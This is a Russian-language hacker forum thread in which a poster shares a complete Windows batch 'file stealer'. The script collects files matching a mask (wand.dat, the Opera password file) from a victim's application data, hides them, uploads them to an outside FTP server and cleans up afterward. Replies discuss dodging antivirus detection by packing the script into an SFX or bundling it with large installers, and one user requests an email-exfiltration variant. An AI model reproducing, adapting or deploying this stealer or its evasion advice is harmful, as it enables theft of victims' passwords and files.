Статьи Стилер файлов на batch

Discussion in 'Статьи' started by j0sur, 10 Apr 2012.

  1. j0sur

    j0sur Member

    Joined:
    8 Apr 2012
    Messages:
    143
    Likes Received:
    7
    Reputations:
    0
    Последнее время появилось много "приватных" стилеров, которые способны тянуть файлы с компа жертвы по маске и заливать их на ftp. Стоят такие двух-трех мегабайтные "монстры" на Делфи около $40. Неудевительно, ведь они не палятся :D
    И вот я решил написать своего такого зверя, но не для того, что бы продавать, а показать, насколько это элементарно.
    И так вот говнокодец на батче:
    Code:
    @echo off
    prompt $$$g
    ::настройки
    set ans=%temp%\ans
    ::файл ответов
    set login=login
    set pwd=pass
    ::логин-пасс
    set dir=%date%_%time%
    set ld=%systemdrive%\files
    ::директории
    set pth=%appdata%
    set mask=wand.dat
    ::маска для поиска
    
    echo open ftp.nextmail.ru > %ans%
    echo user %login%>> %ans%
    echo %pwd%>> %ans%
    ::логинимя на ftp
    echo mkdir %dir% >> %ans%
    echo cd %dir% >> %ans%
    echo binary >> %ans%
    ::готовимся передавать файлы
    
    mkdir %ld%
    attrib +h %ld%
    ::виндовый ftp не умеет работать с путями с русскими символами
    
    ::forfiles /p %pth% /s /m %mask% /c "cmd /c copy @path %ld%"
    for /r "%pth%" %%d in (%mask%) do copy %%d %ld%>nul
    ::forfiles /p %ld% /s /m * /c "cmd /c echo put @path >> %ans%"
    for /r %ld% %%d in (*) do echo put %%d >> %ans%
    
    echo quit >> %ans%
    
    ftp -v -n -s:%ans%
    del /q /f %ans%
    ::del /q /f %0
    rmdir /s /q %ld%
    pause
    
    Так что, все очень элементарно и просто, да и коментов полно.
    Елинственное, замечу, что forfiles, наверно, более элегантен, чем for, но появился только в 2003, так что не так универсален. Что использовать, решать Вам :) .
    А я прошу коментировать мою статью, уточнять и дополнять ее. Спасибо за внимание:).
     
    #1 j0sur, 10 Apr 2012
    Last edited: 12 May 2012
    2 people like this.
  2. Twittix

    Twittix New Member

    Joined:
    8 Mar 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Минус в том что Защитник windows будет писать что обнаружен консольный FTP и предложить удалить его.
    Лучше использовать консольный e-mail
     
  3. D4rkC10ud

    D4rkC10ud New Member

    Joined:
    30 Jul 2012
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    + Автор молодец - материал забавен
    - Сейчас все пытаються написать чегото на батах в доказательство их хэккерского естества

    А вообще советую автору приглядеться к развитой системе скриптинга в виндосе даже из коробки - MonadShell, WindowsScripringHost.
     
  4. j0sur

    j0sur Member

    Joined:
    8 Apr 2012
    Messages:
    143
    Likes Received:
    7
    Reputations:
    0
    Батч просто очень хорошо подходит для манипуляций с файлами, не больше, не меньше. С WSH знаком хорошо, MonadShell нужно заведомо поставить на комп жертвы, а значит он не подходит.
     
  5. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,531
    Likes Received:
    2,887
    Reputations:
    231
    j0sur,
    юзал Pinch?
    там всё - кодер The Bat (той самой мейл проги) написал, на Си.

    сурсы проги есть.
     
  6. j0sur

    j0sur Member

    Joined:
    8 Apr 2012
    Messages:
    143
    Likes Received:
    7
    Reputations:
    0
    Есть люди, которые любят использовать свои велосипеды:)
     
  7. DooD

    DooD Moderator

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    437
    Reputations:
    288
    Вставлю и я свои 5 копеек.
    1)На сколько я понял определить диски в системе бат не может,значит он не сможет искать файлы на всех дисках.
    2)Если нужно подсунуть этот файл жертве,то его надо компилить,если его скомпилить он будет палиться.
    По этому все это пишется на нормальных ЯП и стоит соответственно.
     
    _________________________
  8. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    843
    Likes Received:
    170
    Reputations:
    84
    Стиллер? 2-3 Мб? Руки = false...
     
  9. j0sur

    j0sur Member

    Joined:
    8 Apr 2012
    Messages:
    143
    Likes Received:
    7
    Reputations:
    0
    1) можно(просто весьма муторно), на vbs все это реализуется в 5-10 кб(на харде валяется такой, правда ищет в списке папок, но вместо него генерить список дисков -- 15-20 строк)
    2) sfx можно собрать, 100% палится не будет, но и размер порядка 150-200 кб будет, хотя если лепить с чем-то больше 1мб, то врядли кто-то заметит.
    В целом, (недо)статья писалась что бы показать насколько это элементарно.
    Скорей всего из-за использованния стандартных дельфовых компонентов. Там реально не может быть столько кода.
     
  10. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    843
    Likes Received:
    170
    Reputations:
    84
    Тогда давай не будем вводить пользователей в заблуждение. 2 года назад писал подобное. Быдлокодом + использовал инди и результат вышел около 250 кб. А если юзать сокеты и винапи?
     
  11. j0sur

    j0sur Member

    Joined:
    8 Apr 2012
    Messages:
    143
    Likes Received:
    7
    Reputations:
    0
    Я не спорю, что на Делфи можно написать стилер меньше 50кб, но тут нужно лезть в низкоуровневые дебри. И многим просто лень, либо не охота учиться, все равно найдется тот, кто будет это чудо лепить с 50-ти метровой инсталяхой, а ему глубоко всеравно на те 2мб.
     
  12. D4rkC10ud

    D4rkC10ud New Member

    Joined:
    30 Jul 2012
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    Monad(Power)Shell идет в стандартной поставке винды начиная с Vista

    И таки да, не так плох и страшен Delphi, как его одэпты.
     
  13. Prototypez

    Prototypez New Member

    Joined:
    9 Jul 2013
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    А можно ли сделать такой же стилер на bat только чтоб не по ftp отправлял а на имейл, или сохранял в логах на компе жертвы по указаному пути? Если кто может сделать буду очень благодарен.
     
  14. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    379
    Likes Received:
    496
    Reputations:
    37
    ога, макс 10-20 Кб и то если это полноценный RAT будет
     
Loading...